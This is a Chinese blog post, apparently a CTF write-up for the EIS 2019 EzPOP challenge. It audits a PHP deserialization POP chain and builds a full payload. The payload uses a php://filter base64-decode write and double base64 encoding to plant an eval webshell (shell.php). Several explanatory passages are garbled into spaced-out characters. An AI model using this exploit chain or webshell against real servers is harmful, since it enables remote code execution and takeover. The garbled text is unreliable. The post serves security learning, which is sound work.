[EIS 2019]EzPOP-PHP代码审计学习

本文详细解析了一段PHP代码审计的过程,重点分析了如何利用代码漏洞构造WebShell。通过研究类A和类B的方法,特别是cleanContents、getForStorage、save等函数,揭示了数据处理和文件写入的流程。最终,通过base64编码绕过限制,成功构造了payload,实现了shell的植入。文章强调了base64编码在绕过机制中的作用,并分享了参考的学习资源。
摘要由CSDN通过智能技术生成

[EIS 2019]EzPOP-PHP代码审计学习
作为一个不太聪明的WEB菜鸟,代码审计一直不咋地,正好遇到一道题,记录一下学习过程

<?php
error_reporting(0);

class A {

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        return $this->options['prefix'] . $name;
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return true;
        }

        return false;
    }

}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

题目直接给出了源代码,话不多说,慢慢审吧
首先看A类的函数
构造函数就不说了

public function cleanContents(array $contents) {
        $cachedProperties = array_flip([           //反转数组中所有的键以及它们关联的值
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) { //在contents数组中,键给path,值给object
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);   //比较两个数组的键名,并返回交集:
            }
        }

        return $contents;
    }

cleanContents(array c o n t e n t s ) 里 面 调 用 了 下 面 两 个 函 数 : a r r a y f l i p ( ) 反 转 数 组 中 所 有 的 键 以 及 它 们 关 联 的 值 a r r a y i n t e r s e c t k e y ( contents) 里面调用了下面两个函数: array_flip()反转数组中所有的键以及它们关联的值 array_intersect_key( contents)arrayflip()arrayintersectkey(object, $cachedProperties); //比较两个数组的键名,并返回交集

public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);
        return json_encode([$cleaned, $this->complete]);
    }

这个函数主要是把cache作为参数调用cleanContents(),再将结果和complete一起返回他们的json数据。值得一提的是cache和complete都是没有赋值的,可控

public function save() 
{
        $contents = $this->getForStorage();
        $this->store->set($this->key, $contents, $this->expire); 
    }

这里先调用了getForStorage()函数将其结果放入contents,再将其和key,expire一起调用save()函数,A类是没有save()函数的,只有B类有,显而易见,这个this->store大概率就是要定义成B类,串联AB类。值得一提的是,这里的key和expire也是可控的。

接下来看B类

protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

该函数会将data先格式化成string类型,然后根据options[‘serialize’]的值来处理data,options[‘serialize’]可控。

public function set($name, $value, $expire = null): bool{ 
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire']; 
        }

        $expire = $this->getExpireTime($expire);  //返回int型数据,options['expire']的
        $filename = $this->getCacheKey($name);  //将$name拼接在options['prefix']后面,最后应该是要写入的位置
        $dir = dirname($filename);  //获取路径中的目录名称部分
        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }
        $data = $this->serialize($value);  //该函数特殊
        if ($this->options['data_compress'] && function_exists('gzcompress')) {  
            //数据压缩
            $data = gzcompress($data, 3);
        }
        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;  //这里是要执行的核心代码
        $result = file_put_contents($filename, $data);
        if ($result) {
            return true;
        }
        return false;
    }
}

该函数一个个参数看吧,先看 n a m e , 经 过 g e t C a c h e K e y ( ) 函 数 与 o p t i o n s [ ′ p r e f i x ′ ] 拼 接 后 , 形 成 的 f i l e n a m e 最 后 在 f i l e p u t c o n t e n t s ( ) 处 才 被 调 用 , 作 为 写 入 的 位 置 。 再 看 看 name,经过getCacheKey()函数与options['prefix']拼接后,形成的filename最后在file_put_contents()处才被调用,作为写入的位置。 再看看 namegetCacheKey()options[prefix]filenamefileputcontents()expire,先判断是否为null,如果是则将options[‘expire’]赋值给它,接下来调用getExpireTime()函数将其格式化成int型,最后将其通过sprintf函数写进php代码
最后是 v a l u e , 通 过 调 用 s e r i a l i z e ( ) 函 数 生 成 value,通过调用serialize()函数生成 value,serialize()data,然后判断是否满足条件执行数据压缩,该条件可控最后将核心代码拼接在核心代码后面。
显而易见,$name这个参数用在构造文件的位置,其他两个参数用来构造最后的核心代码,最后将核心代码通过file_put_contents()写入指定位置,达到成功将shell写入网站服务器的目的

 $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;

这里核心代码的构造,先前我一直执着于将 d a t a 构 造 成 空 , 然 后 在 data构造成空,然后在 dataexpire里面填入关键代码,但是expire被格式化成int型数据,长度也被限制,后面还有个exit()函数,这让我一直很头疼,始终过不去,我一直以为有骚操作可以过了这里,事实证明是我多想了。这里贴上我参考的大佬文章

大佬引用了P神的文章(之前做题就有一些WP也是引用P神的文章,也将P神的博客收藏,却没看过,有机会一定要好好看看)。
回到正文,由于<、?、()、;、>、\n都不是base64编码的范围,所以base64解码的时候会自动将其忽略,所以解码之后就剩php//exit了,这里有9个字符,但是呢base64算法解码时是4个字节一组,所以我们还需要在前面加些字符,我就加3个字符吧,最后我们可以使用php伪协议来绕过,一会写在路径里就行

php://filter/write=convert.base64-decode/resource=
sprintf('%012d', $expire)

至于$expire它这里的%012d要求输出12个数字,正好是4的倍数,可以不用管了,随便填个数字就行
在这里插入图片描述
运行结果
在这里插入图片描述

那么 d a t a 就 得 用 来 写 s h e l l 咯 , 而 且 前 面 得 加 上 3 个 字 符 , 值 得 注 意 的 是 data就得用来写shell咯,而且前面得加上3个字符,值得注意的是 datashell3data的数据由B类set()函数的 v a l u e 得 来 , 而 在 A 类 中 调 用 s e t ( ) 函 数 时 value得来,而在A类中调用set()函数时 valueAset()value由 c o n t e n t s 得 来 , contents得来, contentscontents是由json_encode后得来的,是json形式的数据,需要绕过它,而json格式的字符都不满足base64编码的要求,所以我们可以将数据进行base64编码绕过
在这里插入图片描述
运行结果
在这里插入图片描述
不难看出base64成功绕过json,综上所述 ,一共要进行两次base64编码,一次是绕过核心代码里的exit()函数,一次是绕过json编码,因此我们可以这么构造$data的源头complete

A->complete=base64_encode('xxx',base64_encode('<?php @eval($_POST["ro4lsc"]);?>'))  //这里的xxx就是为了和php//exit一起凑够4的倍数

现在最重要的问题是怎么把base64两次解码,一次解码已经决定在路径里用php协议解码一次,那还有一次得再找方法解码
这时我们就得看到前面提到的serialize函数

 protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }
        $serialize = $this->options['serialize'];
        return $serialize($data);
    }

可以看到返回值是 s e r i a l i z e ( serialize( serialize(data),也就是说这里我们可以让这个变量$serilalize为base64_decode函数对data变量进行解码。

filename参数是options[‘prefix’]和 n a m e 进 行 拼 接 的 结 果 , 而 这 里 的 ∗ ∗ name进行拼接的结果,而这里的** namename是形参**,所以这个$name是A类的key变量,是由save函数传递过来的
由于options[‘prefix’]可控
所以这里我们可以使

options['prefix']="php://filter/write=convert.base64-decode/resource=";
key="webshell.php"; //$name

那现在从头梳理一下函数的执行顺序

A::__destruct->save()->getForStorage()->cleanStorage()
B::save()->set()->getExpireTime(),getCacheKey(),serialize()->file_put_contents写入shell

参数的赋值过程

key->name->filename       //key可控
cache->clean+complete->contents->value->data    //cache和complete可控
expire   //expire可控

从参数变化再综合上面的分析,难点主要是中间的cache和complete,变化不太清楚,所以把代码抽出来慢慢观察

<?php
$cachedProperties = array_flip([           //反转数组中所有的键以及它们关联的值
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);
$contents=array(path1111=>11);
foreach ($contents as $path => $object) {
    if (is_array($object)) {
        $contents[$path] = array_intersect_key($object, $cachedProperties);   //比较两个数组的键名,并返回交集:
        }
    }
$complete = base64_encode("xxx".base64_encode('<?php @eval($_POST["ro4lsc"]);?>'));
$getForStorage=json_encode([$contents, $complete]);
echo $getForStorage;
?>

在这里插入图片描述

通过观察发现,上述代码的contens也就是cache决定了json数据的键,complete决定了json数据的值,那就好办了,前面也分析过需要base64编码绕过json数据,那就让cache为空,因为它为空后键为[],base64就可以将其跳过,complete填核心代码即可
在这里插入图片描述
最后的payload(这里觉得大佬写的太好了,直接搬运):

<?php
class A{
protected $store;
protected $key;
protected $expire;

public function __construct()
{
    $this->cache = array();
    $this->complete = base64_encode("xxx".base64_encode('<?php @eval($_POST["ro4lsc"]);?>'));
    $this->key = "shell.php";
    $this->store = new B();
    $this->autosave = false;
    $this->expire = 0;
}


}
class B{
    public $options = array();
    function __construct()
    {
        $this->options['serialize'] = 'base64_decode';
        $this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=';
        $this->options['data_compress'] = false;
    }
}
echo urlencode(serialize(new A()));

将得到的数据通过?data传递参数,他会在当前路径生成shell.php,最后拿菜刀之类的连接即可

总结
base64的绕过让人印象深刻,代码审计仍然需要继续努力。

参考文章
https://blog.csdn.net/gd_9988/article/details/106111902
https://www.leavesongs.com/PENETRATION/php-filter-magic.html?page=2#reply-list

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值